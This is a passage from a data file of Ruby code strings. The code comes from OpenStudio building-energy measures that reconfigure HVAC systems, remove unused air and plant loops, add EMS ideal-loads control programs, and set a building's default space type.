fan.setPressureRise(fan_pressure_rise.get)\n runner.registerInfo(\"Fan '#{fan.name}' was assigned pressure rise of '#{fan_pressure_rise.get}' Pa\")\n end\n \n final_num_fan_VFD += 1\n \n else\n # If VFD isn't wanted, we just rename the constant volume fan\n old_fan.setName(base_name + ' Constant Volume Fan')\n \n # If fan_pressure_rise has a non zero null value, assign it.\n if !fan_pressure_rise.empty?\n #We need the .get because this is an OptionalDouble. the .get will return a Double (float)\n old_fan.setPressureRise(fan_pressure_rise.get)\n puts \"Fan '#{old_fan.name}' was assigned pressure rise of '#{fan_pressure_rise.get}' Pa\"\n end\n\n \n end\n \n # The Cooling coil expects an OptionalDouble\n coil = air_handler.supplyComponents(OpenStudio::Model::CoilCoolingDXSingleSpeed::iddObjectType).first\n coil = coil.to_CoilCoolingDXSingleSpeed.get\n # Set CoolingCoil COP\n coil.setRatedCOP(OpenStudio::OptionalDouble.new(cop_cooling))\n # Set CoolingCoil Name\n coil.setName(base_name + \" Coil Cooling DX Single Speed\")\n \n \n # The Heating coil expects a Double\n coilheating = air_handler.supplyComponents(OpenStudio::Model::CoilHeatingDXSingleSpeed::iddObjectType).first\n coilheating = coilheating.to_CoilHeatingDXSingleSpeed.get\n # Set HeatingCoil COP\n coilheating.setRatedCOP(cop_heating)\n # Set HeatingCoil Name\n coilheating.setName(base_name + \" Coil Heating DX Single Speed\")\n \n # Delete the electric heating coil if unwanted\n if !has_electric_coil\n coilheatingelec = air_handler.supplyComponents(OpenStudio::Model::CoilHeatingElectric::iddObjectType).first\n coilheatingelec.remove\n end\n \n #Enable DCV (dunno if working)\n if has_dcv\n \n #get air_handler supply components\n supply_components = air_handler.supplyComponents\n\n #find AirLoopHVACOutdoorAirSystem on loop\n supply_components.each do |supply_component|\n hVACComponent = supply_component.to_AirLoopHVACOutdoorAirSystem\n if not hVACComponent.empty?\n hVACComponent = hVACComponent.get\n\n #get ControllerOutdoorAir\n controller_oa = hVACComponent.getControllerOutdoorAir\n controller_oa.setName(base_name + ' Controller Outdoor Air')\n\n #get ControllerMechanicalVentilation\n controller_mv = controller_oa.controllerMechanicalVentilation\n\n #check if demand control is enabled, if not, then enable it\n if controller_mv.demandControlledVentilation == true\n initial_num_air_loops_demand_control += 1\n else\n controller_mv.setDemandControlledVentilation(true)\n puts \"Enabling demand control ventilation for #{air_handler.name}\"\n end #End of if \n final_num_air_loops_demand_control += 1\n \n end #End of HVACComponent.empty?\n \n end #end of supply component do loop\n \n end #End of has_dcv loop\n \n # Add a branch for the zone in question\n air_handler.addBranchForZone(z)\n \n #Counter\n affected_loops +=1 \n \n end #end of do loop on each thermal zone\n\n\n #CLEAN-UP SECTION\n # Idea: loop on PRE-EXISTING AirLoops, delete all that don't have any zones anymore\n # Then loop on chiller loop, delete all that don't have a coil connected to an air loop\n # then loop on condenser water, delette all that don't have a chiller anymore\n\n #If we need to delete existing HVAC loops, we'll loop on the PRE-EXISTING Loops we stored earlier\n if delete_existing\n\n\n # Arrays to store the affected loops\n chiller_plant_loops = []\n boiler_plant_loops = []\n condenser_plant_loops = []\n\n\n # Display separator for clarity\n runner.registerInfo(\"\")\n runner.registerInfo(\"========================== CLEAN-UP: AIR LOOPS ==========================\")\n\n # Loop on the pre-existing air loops (not the ones that were created above)\n air_loops.each do |air_loop|\n\n # Check if it's got a thermal zone attached left or not..\n # We assume we'll delete it unless...\n delete_flag = true\n\n air_loop.demandComponents.each do |comp|\n # If there is at least a single zone left, we can't delete it\n if comp.to_ThermalZone.is_initialized\n delete_flag = false\n end #end of if\n end #end of do loop on comp\n\n # If deletion is warranted\n if delete_flag\n #before deletion, let's get the potential associated plant loop.\n if air_loop.supplyComponents(OpenStudio::Model::CoilCoolingWater::iddObjectType).empty?\n puts \"Air loop '#{air_loop.name}' DOES NOT HAVE a CoilHeatingWater\"\n else\n cooling_coil = air_loop.supplyComponents(OpenStudio::Model::CoilCoolingWater::iddObjectType).first.to_CoilCoolingWater.get\n chiller_plant_loop = cooling_coil.plantLoop.get\n # Store handle in array\n chiller_plant_loops << chiller_plant_loop\n runner.registerInfo(\"Air loop '#{air_loop.name}' has a CoilCoolingWater, connected to CHILLER plant loop '#{chiller_plant_loop.name }'\")\n end\n if air_loop.supplyComponents(OpenStudio::Model::CoilHeatingWater::iddObjectType).empty?\n puts \"Air loop '#{air_loop.name}' DOES NOT HAVE a CoilHeatingWater\"\n else\n heating_coil = air_loop.supplyComponents(OpenStudio::Model::CoilCoolingWater::iddObjectType).first.to_CoilCoolingWater.get\n boiler_plant_loop = heating_coil.plantLoop.get\n # Store handle in array\n boiler_plant_loops << boiler_plant_loop\n runner.registerInfo(\"Air loop '#{air_loop.name}' has a CoilHeatinggWater, connected to BOILER plant loop '#{boiler_plant_loop.name }'\")\n end\n\n # Now we can delete and report.\n air_loop.remove\n runner.registerInfo(\"DELETED: Air loop '#{air_loop.name}' doesn't have Thermal zones attached and was removed\")\n delete_existing_air_loops += 1\n else\n runner.registerInfo(\"Air Loop '#{air_loop.name}' has thermal zones and was not deleted\")\n end #end if delete_flag\n end #end air_loops.each do\n\n\n\n # Display separator for clarity\n runner.registerInfo(\"\")\n runner.registerInfo(\"====================== CLEAN-UP: CHILLER PLANT LOOPS ======================\")\n\n #First pass on plant loops: chilled water loops.\n chiller_plant_loops.each do |chiller_plant_loop|\n\n puts \"Chiller plant loop name: #{chiller_plant_loop.name}\"\n\n # Check if the chiller plant loop has remaining demand components\n\n # Delete flag: first assumption is that yes... unless!\n delete_flag = true\n\n if chiller_plant_loop.demandComponents(OpenStudio::Model::CoilCoolingWater::iddObjectType).empty?\n puts \"Chiller Plant loop '#{chiller_plant_loop.name}' DOES NOT HAVE a CoilCoolingWater\"\n else\n puts \"Chiller Plant loop '#{chiller_plant_loop.name}' has a CoilCoolingWater\"\n cooling_coil = chiller_plant_loop.demandComponents(OpenStudio::Model::CoilCoolingWater::iddObjectType).first.to_CoilCoolingWater.get\n if cooling_coil.airLoopHVAC.empty?\n puts \"But Cooling coil '#{cooling_coil.name}' is not connected to any airloopHVAC\"\n else\n runner.registerInfo(\"And Cooling coil '#{cooling_coil.name}' is connected to airloopHVAC '#{cooling_coil.airLoopHVAC.get.name}' and therefore can't be deleted\")\n # In this case, we can't delete the chiller plant loop\n delete_flag = false\n end #end cooling_coil.airLoopHVAC.empty?\n\n end #end of chiller_plant_loop.demandComponents CoilCoolingWater\n\n # We know it's a chiller plant so this is likely unnecessary, but better safe than sorry\n if chiller_plant_loop.demandComponents(OpenStudio::Model::WaterUseConnections::iddObjectType).empty?\n puts \"Chiller Plant loop '#{chiller_plant_loop.name}' DOES NOT HAVE WaterUseConnections\"\n else\n runner.registerInfo(\"Chiller Plant loop '#{chiller_plant_loop.name}' has WaterUseConnections and therefore can't be deleted\")\n delete_flag = false\n end\n\n\n # If deletion is warranted\n if delete_flag\n\n #This section below is actually optional (but it's nice to only delete affected ones\n #before deletion, let's get the potential associated condenser water plant loop.\n if chiller_plant_loop.supplyComponents(OpenStudio::Model::ChillerElectricEIR::iddObjectType).empty?\n puts \"Chiller Plant loop '#{chiller_plant_loop.name}' DOES NOT HAVE an electric chiller\"\n else\n chiller = chiller_plant_loop.supplyComponents(OpenStudio::Model::ChillerElectricEIR::iddObjectType).first.to_ChillerElectricEIR.get\n puts \"Chiller Plant loop '#{chiller_plant_loop.name}' has an electric chiller '#{chiller.name}' with condenser type '#{chiller.condenserType}'\"\n # Check directly if chiller has a secondaryPlantLoop (no need to check if chiller.condenserType == 'WaterCooled' first)\n if chiller.secondaryPlantLoop.is_initialized\n # Chiller is WaterCooled therefore should be connected to a condenser water loop\n condenser_plant_loop = chiller.secondaryPlantLoop.get\n condenser_plant_loops << condenser_plant_loop\n runner.registerInfo(\"Chiller PlantLoop '#{chiller_plant_loop.name}' has a Water Cooled chiller connected to Condenser Plant Loop '#{condenser_plant_loop.name }'\")\n end\n end\n\n # Now we can delete and report.\n chiller_plant_loop.remove\n delete_existing_chiller_loops += 1\n #Should I delete the chiller as well? It remains...\n\n runner.registerInfo(\"DELETED: Chiller PlantLoop '#{chiller_plant_loop.name}' wasn't connected to any AirLoopHVAC nor WaterUseConnections and therefore was removed\")\n\n end #end of delete_flag\n\n end #end of chiller_plant_loops.each do\n\n # Display separator for clarity\n runner.registerInfo(\"\")\n runner.registerInfo(\"===================== CLEAN-UP: CONDENSER PLANT LOOPS ====================\")\n #Second pass on plant loops: condenser water loops.\n condenser_plant_loops.each do |condenser_plant_loop|\n\n delete_flag = true\n\n # If it has got a chiller as a demand component, it could still be empty\n if not condenser_plant_loop.demandComponents(OpenStudio::Model::ChillerElectricEIR::iddObjectType).empty?\n\n chiller = condenser_plant_loop.demandComponents(OpenStudio::Model::ChillerElectricEIR::iddObjectType).first.to_ChillerElectricEIR.get\n\n # If chiller is actually connected to a chilled water node, then we shall not delete it\n if not chiller.chilledWaterInletNodeName.empty?\n runner.registerInfo(\"On Condenser PlantLoop '#{condenser_plant_loop.name}, there is a demand component of type Chiller '#{chiller.name}'\" +\n \" that is connected to a chilled water loop and therefore cannot be deleted\")\n delete_flag = false\n else\n puts \"Plant loop '#{condenser_plant_loop.name}, Chiller '#{chiller.name}' isn't connected to a chilled water loop\"\n end #end of if chiller.chilledWaterInletNodeName\n end #end of plant_loop.demandComponents\n\n # if deletion is warranted\n if delete_flag\n condenser_plant_loop.remove\n delete_existing_condenser_loops += 1\n runner.registerInfo(\"DELETED: Plant loop '#{condenser_plant_loop.name}' isn't connected to any chilled water loop\")\n end\n\n\n end\n\n runner.registerInfo(\"\")\n runner.registerInfo(\"For more information, go to 'Advanced Output'\")\n\n # This is the generic way of looping on all loops, checking if it's a condenser plant loop, and to delete it unless it's got a chiller that is connected to chilled water plant loop\n=begin\n plant_loops.each do |plant_loop|\n # Skip the chiller_plant_loops\n #next if chiller_plant_loops.include? plant_loop\n if chiller_plant_loops.include? plant_loop\n runner.registerInfo(\"Skipping Plant loop '#{plant_loop.name}' because it is a chiller plant\")\n next\n end\n runner.registerInfo(\"Plant loop '#{plant_loop.name}'\")\n\n # Until we know that it is a condenser loop for sure, we assume we can't delete it\n delete_flag = false\n\n # If it has got a chiller as a demand component, it's a condenser water loop\n if not plant_loop.demandComponents(OpenStudio::Model::ChillerElectricEIR::iddObjectType).empty?\n # Now, we assume we'll delete the loop unless it's actually connected and therefore usefull\n delete_flag = true\n chiller = plant_loop.demandComponents(OpenStudio::Model::ChillerElectricEIR::iddObjectType).first.to_ChillerElectricEIR.get\n # If chiller is actually connected to a chilled water node, then we shall not delete it\n if not chiller.chilledWaterInletNodeName.empty?\n runner.registerInfo(\"On Condenser PlantLoop '#{plant_loop.name}, there is a demand component of type Chiller '#{chiller.name}'\" +\n \" that is connected to a chilled water loop and therefore cannot be deleted\")\n delete_flag = false\n else\n runner.registerInfo(\"Plant loop '#{plant_loop.name}, Chiller '#{chiller.name}' isn't connected to a chilled water loop\")\n end #end of if chiller.chilledWaterInletNodeName\n end #end of plant_loop.demandComponents\n\n # if deletion is warranted\n if delete_flag\n plant_loop.remove\n delete_existing_condenser_loops += 1\n runner.registerInfo(\"DELETED: Plant loop '#{plant_loop.name}'\")\n end\n\n end #end of plant_loops.each do\n=end\n\n #Third pass on plant loops: boiler water loops.\n # TO WRITE\n\n\n end #end of if delete_existing\n\n #Report Initial Condition\n if delete_existing\n air_loop_str = \"\\n #{delete_existing_air_loops} existing AirLoopHVACs have been deleted\"\n chiller_plant_loop_str = \"\\n #{delete_existing_chiller_loops} existing Chiller PlantLoops have been deleted\"\n condenser_plant_loop_str = \"\\n #{delete_existing_condenser_loops} existing Condenser PlantLoops have been deleted\"\n else\n air_loop_str = \"\"\n chiller_plant_loop_str = \"\"\n condenser_plant_loop_str = \"\"\n end #end of delete_existing\n\n runner.registerInitialCondition(\"Initially #{initial_num_air_loops_demand_control} air loops had demand controlled ventilation enabled\" +\n air_loop_str + chiller_plant_loop_str + condenser_plant_loop_str + \"\\n\")\n\n \n \n # Report final condition\n base_str = \"There are #{OpenStudio::toNeatString(affected_loops, 0, true)} zones for which a PSZ-HP system was \" +\n \"created with a Cooling COP (SI) of #{OpenStudio::toNeatString(cop_cooling, 2, true)} \" +\n \"and a Heating COP (SI) of #{OpenStudio::toNeatString(cop_heating, 2, true)}.\"\n \n if has_electric_coil\n elec_str = \"Supplementary electric heating coils were added.\"\n else\n elec_str = \"Supplementary electrical heating coils were NOT included.\"\n end # end of has_electric_coil\n \n if has_vfd\n fan_str = \"Fan type was changed to be Variable Volume (VFD) for #{final_num_fan_VFD} fans.\"\n else\n fan_str = \"Fan type was chosen to be Constant Volume.\"\n end # end of has_vfd\n \n if final_num_air_loops_demand_control == 0\n dcv_str = \"Demand Controlled Ventilation wasn't enabled for the new air loops\"\n else\n dcv_str = \"#{final_num_air_loops_demand_control} air loops now have demand controlled ventilation enabled\"\n end\n \n runner.registerFinalCondition(base_str + \"\\n\" + elec_str + \"\\n\" + fan_str + \"\\n\" + dcv_str + \"\\n \\n\")\n \n return true\n \n \n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n verbose_info_statements = runner.getBoolArgumentValue(\"verbose_info_statements\",user_arguments)\n zones = runner.getOptionalWorkspaceObjectChoiceValue('zones', user_arguments, model) # model is passed in because of argument type\n cooling_mdot_per_ft2 = runner.getDoubleArgumentValue(\"cooling_mdot_per_ft2\",user_arguments)\n heating_mdot_per_ft2 = runner.getDoubleArgumentValue(\"heating_mdot_per_ft2\",user_arguments)\n cooling_LAT = runner.getDoubleArgumentValue(\"cooling_LAT\",user_arguments)\n heating_LAT = runner.getDoubleArgumentValue(\"heating_LAT\",user_arguments)\n cooling_HumRat = runner.getDoubleArgumentValue(\"cooling_HumRat\",user_arguments)\n heating_HumRat = runner.getDoubleArgumentValue(\"heating_HumRat\",user_arguments)\n internal_variable_availability_dictionary_reporting = runner.getStringArgumentValue('internal_variable_availability_dictionary_reporting', user_arguments)\n ems_runtime_language_debug_output_level = runner.getStringArgumentValue('ems_runtime_language_debug_output_level', user_arguments)\n actuator_availability_dictionary_reporting = runner.getStringArgumentValue('actuator_availability_dictionary_reporting', user_arguments)\n\n runner.registerInitialCondition(\"Measure began with #{model.getEnergyManagementSystemSensors.count} EMS sensors, #{model.getEnergyManagementSystemActuators.count} EMS Actuators, #{model.getEnergyManagementSystemPrograms.count} EMS Programs, #{model.getEnergyManagementSystemSubroutines.count} EMS Subroutines, #{model.getEnergyManagementSystemProgramCallingManagers.count} EMS Program Calling Manager objects\")\n \n # test user argument values for reasonableness\n if cooling_LAT > heating_LAT \n runner.registerError(\"Measure failed because the value of #{cooling_LAT} Deg F entered for the clg supply air temperature must be less then then value of #{heating_LAT} entered for the htg supply air temp.\") \n return false\n end\n \n if cooling_mdot_per_ft2 < 0.50 \n runner.registerError(\"Measure failed because the value of #{cooling_mdot_per_ft2} cfm/ft2 entered for the clg airflow per sqft must be greater then 0.50.\") \n return false\n end\n\n if heating_mdot_per_ft2 < 0.50 \n runner.registerError(\"Measure failed because the value of #{heating_mdot_per_ft2} cfm/ft2 entered for the htg airflow per sqft must be greater then 0.50.\") \n return false\n end\n \n # check the zone selection for existence in model\n apply_to_all_zones = false\n selected_zone = nil\n if zones.empty?\n handle = runner.getStringArgumentValue('zones', user_arguments)\n if handle.empty?\n runner.registerError('No thermal zone was chosen.')\n return false\n else\n runner.registerError(\"The selected thermal zone with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n return false\n end\n else\n if !zones.get.to_ThermalZone.empty?\n selected_zone = zones.get.to_ThermalZone.get\n elsif !zones.get.to_Building.empty?\n apply_to_all_zones = true\n else\n runner.registerError('Script Error - argument not showing up as thermal zone.')\n return false\n end\n end\n \n # define selected zone(s), depending on user input, add selected zones to an array\n selected_zones = []\n if apply_to_all_zones == true\n model.getThermalZones.each do |each_zone|\n if each_zone.thermostatSetpointDualSetpoint.is_initialized\n tstat = each_zone.thermostatSetpointDualSetpoint.get\n if tstat.heatingSetpointTemperatureSchedule.is_initialized || tstat.coolingSetpointTemperatureSchedule.is_initialized\n if each_zone.airLoopHVAC.empty?\n selected_zones << each_zone\n else\n if verbose_info_statements == true\n runner.registerInfo(\"HVAC System serving Thermal Zone named #{each_zone.name} is attached to air AirLoop, and will not be modified by this measure.\") \n end\n end\n else\n if verbose_info_statements == true\n runner.registerInfo(\"Thermal Zone named #{each_zone.name} is unconditioned, and will not be modified by this measure.\") \n end\n end\n end \n end \n else\n selected_zones << selected_zone\n end\n \n if selected_zones.length == 0\n runner.registerError(\"Model contains no 'qualified' Themal Zones for this measure to modelfy.\") \n return false\n end\n \n # Convert arguments to SI units\n cooling_LAT_SI = OpenStudio.convert(cooling_LAT,\"F\",\"C\")\n heating_LAT_SI = OpenStudio.convert(heating_LAT,\"F\",\"C\")\n\n # initialize counter variable and declare EMS variables for proper scope within loops\n ems_det_purchased_air_state_prg = nil\n ems_set_purchased_air_prg = nil\n ems_prgm_calling_mngr = nil\n counter = 0\n\n # Loop through selected conditioned zone(s), replace existing HVAC equipment with ZoneHVACIdealLoadsAirSystems objects\n selected_zones.each do |zone|\n \n counter += 1 \n cooling_mdot = zone.floorArea * cooling_mdot_per_ft2\n cooling_mdot_SI = OpenStudio.convert(cooling_mdot,\"cfm\",\"m^3/s\")\n \n heating_mdot = zone.floorArea * heating_mdot_per_ft2\n heating_mdot_SI = OpenStudio.convert(heating_mdot,\"cfm\",\"m^3/s\")\n \n zone.equipment.each do |zone_equipment|\n # remove zone equipment HVAC object attached to zone. NOTE: the .remove method also removes 'child' coils from their plant loops\n next if zone_equipment.to_FanZoneExhaust.is_initialized\n if verbose_info_statements == true\n runner.registerInfo(\"Removing ZoneHVAC Equipment named #{zone_equipment.name} currently serving Thermal Zone #{zone.name}.\")\n end\n zone_equipment.remove\n end \n \n # Remove existing outdoor VRF units (special type of ZoneHVAC Equip that is not in zone and not in AirLoops)\n if model.getAirConditionerVariableRefrigerantFlows.count != 0\n runner.registerAsNotApplicable(\"This model has one outdoor VRF unit named '#{getAirConditionerVariableRefrigerantFlows[0].name}'. This measure has not been written to identify whether or not to remove a VRF indoor unit from a thermal zone. The measure logic will not be executed.\")\n return true\n end\n \n # Remove plant loops that no longer have demand side components that are coils\n model.getPlantLoops.each do |plantloop|\n delete_loop = true\n plantloop.demandComponents.each do |comp| \n if comp.to_CoilCoolingLowTempRadiantConstFlow.is_initialized or\n comp.to_CoilCoolingLowTempRadiantVarFlow.is_initialized or\n comp.to_WaterUseConnections.is_initialized or\n comp.to_CoilWaterHeatingDesuperheater.is_initialized or\n comp.to_CoilCoolingWater.is_initialized or \n comp.to_CoilCoolingWaterToAirHeatPumpEquationFit.is_initialized or\n comp.to_CoilCoolingWaterToAirHeatPumpVariableSpeedEquationFit.is_initialized or \n comp.to_CoilHeatingLowTempRadiantVarFlow.is_initialized or\n comp.to_CoilHeatingLowTempRadiantConstFlow.is_initialized or \n comp.to_CoilHeatingWater.is_initialized or\n comp.to_CoilHeatingWaterBaseboard.is_initialized or \n comp.to_CoilHeatingWaterBaseboardRadiant.is_initialized or\n comp.to_CoilHeatingWaterToAirHeatPumpEquationFit.is_initialized or \n comp.to_CoilHeatingWaterToAirHeatPumpVariableSpeedEquationFit.is_initialized or\n comp.to_CoilSystemCoolingWaterHeatExchangerAssisted.is_initialized or \n comp.to_CoilWaterHeatingAirToWaterHeatPump.is_initialized or\n comp.to_CoilWaterHeatingAirToWaterHeatPumpWrapped.is_initialized\n \n delete_loop = false\n end\n end \n if delete_loop == true\n if verbose_info_statements == true\n runner.registerInfo(\"Removing #{plantloop.sizingPlant.loopType} Plant Loop named '#{plantloop.name}' from the model as the measure previously removed all demand side coils from this loop.\")\n end\n plantloop.remove\n end\n end # end loop through plant loops\n \n # create ZoneHVACIdealLoadsAirSystem and assign to the thermal zone. \n ideal_loads_HVAC = OpenStudio::Model::ZoneHVACIdealLoadsAirSystem.new(model)\n ideal_loads_HVAC.setName(\"#{zone.name}#{counter}AIR\")\n ideal_loads_HVAC.addToThermalZone(zone)\n if verbose_info_statements == true\n runner.registerInfo(\"Replaced the existing Zone HVAC system(s) serving the thermal zone named '#{zone.name}' with a new ZoneHVACIdealLoadsAirSystem.\") \n end\n \n # First time (and only time) through the thermal zone loop, create new EnergyManagementSystem:Program, EnergyManagementSystem:ProgramCallingManager \n # and EnergyManagement:GlobalVariable objects and stub them out\n \n if counter == 1\n \n # Create new EnergyManagementSystem:Program object for determining purchased air \n ems_det_purchased_air_state_prg = OpenStudio::Model::EnergyManagementSystemProgram.new(model)\n ems_det_purchased_air_state_prg.setName(\"Determine_Purch_Air_State\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Program object named '#{ems_det_purchased_air_state_prg.name}' added to determine zone purchased air status.\") \n end\n \n # Create new EnergyManagementSystem:Program object for setting purchased air \n ems_set_purchased_air_prg = OpenStudio::Model::EnergyManagementSystemProgram.new(model)\n ems_set_purchased_air_prg.setName(\"Set_Purch_Air\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Program object named '#{ems_set_purchased_air_prg.name}' added to set zone purchased air status.\") \n end\n \n # create a new EnergyManagementSystem:ProgramCallingManager object configured to call the EMS programs\n ems_prgm_calling_mngr = OpenStudio::Model::EnergyManagementSystemProgramCallingManager.new(model)\n ems_prgm_calling_mngr.setName(\"Constant Volume Purchased Air Example\")\n ems_prgm_calling_mngr.setCallingPoint(\"AfterPredictorAfterHVACManagers\")\n ems_prgm_calling_mngr.addProgram(ems_det_purchased_air_state_prg)\n ems_prgm_calling_mngr.addProgram(ems_set_purchased_air_prg)\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Program Calling Manager object named '#{ems_prgm_calling_mngr.name}' added to call #{ems_det_purchased_air_state_prg.name} and #{ems_set_purchased_air_prg.name} EMS programs.\") \n end\n \n end # end logic that only runs once\n \n # Create new EnergyManagementSystem:GlobalVariable object and configure to hold the current \"Zone State\"\n ems_zone_state_gv = OpenStudio::Model::EnergyManagementSystemGlobalVariable.new(model, \"#{zone.name}_State\".gsub(\" \",\"_\"))\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Global Variable object named '#{ems_zone_state_gv.name}' was added to hold the current 'Zone State' - heating, cooling or deadband.\") \n end\n \n # Create new EnergyManagementSystem:Sensor object representing the Zone Predicted Sensible Load to Setpoint Heat Transfer Rate\n ems_zone_pred_sens_load_to_Stpt_HTR_sensor = OpenStudio::Model::EnergyManagementSystemSensor.new(model, \"Zone Predicted Sensible Load to Setpoint Heat Transfer Rate\")\n ems_zone_pred_sens_load_to_Stpt_HTR_sensor.setName(\"Sensible_Load_Zone_#{counter}\")\n ems_zone_pred_sens_load_to_Stpt_HTR_sensor.setKeyName(\"#{zone.name}\") \n if verbose_info_statements == true\n runner.registerInfo(\"EMS Sensor object named '#{ems_zone_pred_sens_load_to_Stpt_HTR_sensor.name}' representing the Zone Predicted Sensible Load to Setpoint Heat Transfer Rate for the zone named #{zone.name} added to the model.\") \n end\n \n # Create EMS Actuator Objects representing Ideal Loads Air System Air Mass Flow Rate, Supply Air temp and Supply Air Humidity Ratio serving the thermal zone\n ems_ideal_air_loads_mdot_actuator = OpenStudio::Model::EnergyManagementSystemActuator.new(ideal_loads_HVAC,\"Ideal Loads Air System\",\"Air Mass Flow Rate\")\n ems_ideal_air_loads_mdot_actuator.setName(\"ZONE_#{counter}_AIR_Mdot\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Actuator object named '#{ems_ideal_air_loads_mdot_actuator.name}' representing the Ideal Air Loads System Mass Flow Rate for the Ideal Air Loads System named #{ideal_loads_HVAC.name} was added to the model.\") \n end\n \n ems_ideal_air_loads_supply_temp_sensor = OpenStudio::Model::EnergyManagementSystemActuator.new(ideal_loads_HVAC,\"Ideal Loads Air System\",\"Air Temperature\")\n ems_ideal_air_loads_supply_temp_sensor.setName(\"ZONE_#{counter}_AIR_SupplyT\") \n if verbose_info_statements == true\n runner.registerInfo(\"EMS Actuator object named '#{ems_ideal_air_loads_supply_temp_sensor.name}' representing the Ideal Air Loads System Supply Air Temperature for the Ideal Air Loads System named #{ideal_loads_HVAC.name} was added to the model.\") \n end\n \n ems_ideal_air_loads_supply_HumRat_sensor = OpenStudio::Model::EnergyManagementSystemActuator.new(ideal_loads_HVAC,\"Ideal Loads Air System\",\"Air Humidity Ratio\")\n ems_ideal_air_loads_supply_HumRat_sensor.setName(\"ZONE_#{counter}_AIR_SupplyHumRat\") \n if verbose_info_statements == true\n runner.registerInfo(\"EMS Actuator object named '#{ems_ideal_air_loads_supply_HumRat_sensor.name}' representing the Ideal Air Loads System Supply Air Humidity Ratio the Ideal Air Loads System named #{ideal_loads_HVAC.name} was added to the model.\") \n end\n \n # Add logic to the two EMS programs as we iterate through the selected zone loop\n # NOTE: State value of 1 means zone is heating, state value of 2 means zone is cooling, state value of 0 means zone in deadband\n ems_det_purchased_air_state_prg.addLine(\"IF (#{ems_zone_pred_sens_load_to_Stpt_HTR_sensor.name} <= 0.0)\")\n ems_det_purchased_air_state_prg.addLine(\"SET #{ems_zone_state_gv.name} = 2.0\")\n ems_det_purchased_air_state_prg.addLine(\"ELSEIF (#{ems_zone_pred_sens_load_to_Stpt_HTR_sensor.name} > 0.0)\")\n ems_det_purchased_air_state_prg.addLine(\"SET #{ems_zone_state_gv.name} = 1.0\")\n ems_det_purchased_air_state_prg.addLine(\"ENDIF\")\n \n ems_set_purchased_air_prg.addLine(\"IF (#{ems_zone_state_gv.name} == 2.0)\")\n ems_set_purchased_air_prg.addLine(\"SET #{ems_ideal_air_loads_mdot_actuator.name} = #{cooling_mdot_SI}\")\n ems_set_purchased_air_prg.addLine(\"SET #{ems_ideal_air_loads_supply_temp_sensor.name} = #{cooling_LAT_SI}\")\n ems_set_purchased_air_prg.addLine(\"SET #{ems_ideal_air_loads_supply_HumRat_sensor.name} = #{cooling_HumRat}\")\n ems_set_purchased_air_prg.addLine(\"ELSEIF (#{ems_zone_state_gv.name} == 1.0)\")\n ems_set_purchased_air_prg.addLine(\"SET #{ems_ideal_air_loads_mdot_actuator.name} = #{heating_mdot_SI}\")\n ems_set_purchased_air_prg.addLine(\"SET #{ems_ideal_air_loads_supply_temp_sensor.name} = #{heating_LAT_SI}\")\n ems_set_purchased_air_prg.addLine(\"SET #{ems_ideal_air_loads_supply_HumRat_sensor.name} = #{heating_HumRat}\")\n ems_set_purchased_air_prg.addLine(\"ENDIF\")\n \n end # end loop through qualified thermal zones\n\n # create OutputEnergyManagementSystem object (a 'unique' object) and configure to allow EMS reporting\n output_EMS = model.getOutputEnergyManagementSystem\n output_EMS.setInternalVariableAvailabilityDictionaryReporting('internal_variable_availability_dictionary_reporting')\n output_EMS.setEMSRuntimeLanguageDebugOutputLevel('ems_runtime_language_debug_output_level')\n output_EMS.setActuatorAvailabilityDictionaryReporting('actuator_availability_dictionary_reporting')\n\n runner.registerFinalCondition(\"Measure finished with #{model.getEnergyManagementSystemSensors.count} EMS sensors, #{model.getEnergyManagementSystemActuators.count} EMS Actuators, #{model.getEnergyManagementSystemPrograms.count} EMS Programs, #{model.getEnergyManagementSystemSubroutines.count} EMS Subroutines, #{model.getEnergyManagementSystemProgramCallingManagers.count} EMS Program Calling Manager objects\")\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n object = runner.getOptionalWorkspaceObjectChoiceValue('space_type', user_arguments, model)\n\n # check the user_name for reasonableness\n clear_field = false\n space_type = nil\n if object.empty?\n handle = runner.getStringArgumentValue('space_type', user_arguments)\n if handle.empty?\n runner.registerError('No space type was chosen.')\n else\n runner.registerError(\"The selected space type with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if !object.get.to_SpaceType.empty?\n space_type = object.get.to_SpaceType.get\n elsif !object.get.to_Building.empty?\n clear_field = true\n else\n runner.registerError('Script Error - argument not showing up as space type or building.')\n return false\n end\n end\n\n # reporting initial condition of model\n building = model.getBuilding\n defaultSpaceType = building.spaceType\n if !defaultSpaceType.empty?\n runner.registerInitialCondition(\"The initial default space type for the building is #{defaultSpaceType.get.name}.\")\n else\n runner.registerInitialCondition(\"The initial model doesn't have a default space type for the building.\")\n end\n\n # alter default space type as requested\n if clear_field\n building.resetSpaceType\n else\n building.setSpaceType(space_type)\n end\n\n # reporting final condition of model\n defaultSpaceType = building.spaceType\n if !defaultSpaceType.empty?\n runner.registerFinalCondition(\"The final default space type for the building is #{defaultSpaceType.get.name}.\")\n else\n runner.registerFinalCondition(\"The final model doesn't have a default space type for the building.\")\n end\n\n return true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n system_name = runner.getStringArgumentValue(\"system_name\", user_arguments)\n system_sch = runner.getOptionalWorkspaceObjectChoiceValue(\"system_sch\",user_arguments,model) #model is passed in because of argument type\n rated_cc_COP = runner.getDoubleArgumentValue(\"rated_cc_COP\",user_arguments) #model is passed in because of argument type\n heating_coil_type = runner.getStringArgumentValue(\"heating_coil_type\",user_arguments)\n rated_hc_gas_efficiency = runner.getDoubleArgumentValue(\"rated_hc_gas_efficiency\",user_arguments) \n\teconomizer_type = runner.getStringArgumentValue(\"economizer_type\",user_arguments)\n econoMaxDryBulbTemp = runner.getDoubleArgumentValue(\"econoMaxDryBulbTemp\",user_arguments)\n econoMaxEnthalpy = 